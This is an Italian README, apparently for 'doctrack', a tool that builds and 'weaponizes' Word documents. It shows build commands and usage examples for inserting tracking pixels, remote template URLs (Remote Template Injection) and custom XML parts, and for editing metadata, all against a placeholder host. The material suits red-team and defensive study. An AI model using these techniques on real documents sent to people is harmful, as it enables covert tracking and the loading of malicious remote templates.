wavvs/doctrackStrumento per manipolare e weaponizzare documenti Office Open XML.
Strumento per manipolare e armare i documenti Office Open XML.
Sarà necessario scaricare .Net 6.0. Quindi, per creare un singolo binario su Windows:
$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true
Su Linux:
$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true
$ doctrack --help
Tool to manipulate and weaponize Office Open XML documents.
-i, --input Input filename. If doesn't exist, new file is created.
-o, --output Output filename. If not set, document is saved as --input
file.
-m, --metadata Metadata to supply (JSON file).
-u, --url URL to insert.
-e, --template (Default: false) If set, enables template URL injection.
-s, --inspect (Default: false) Inspect document.
-c, --custom-part Insert a Custom XML part (XML file)
--help Display this help screen.
Creare un documento Word e modificarne i metadati:
$ doctrack -i test.docx -m metadata.json
Inserire un pixel di tracciamento e modificare i metadati del documento:
$ doctrack -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png
Inserire un URL di modello remoto (noto come Remote Template Injection):
$ doctrack -i test.docx -o test.docx --url http://test.url/template.dotm --template
Inserire una parte XML personalizzata:
$ doctrack -i test.docx -o test.docx -c part.xml
Ispezionare URL target esterni, metadati e parti XML personalizzate:
$ doctrack -i test.docx --inspect
[External targets]
Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm
[Metadata]
Creator: wavvs
Title: doctrack
Subject:
Category:
Keywords:
Description:
ContentType:
ContentStatus:
Version:
Revision:
Created: 13.10.2020 23:20:39
Modified: 13.10.2020 23:20:39
LastModifiedBy:
LastPrinted: 13.10.2020 23:20:39
Language:
Identifier:
[CustomXML Parts]
Part: /customXML/item.xml (25 bytes)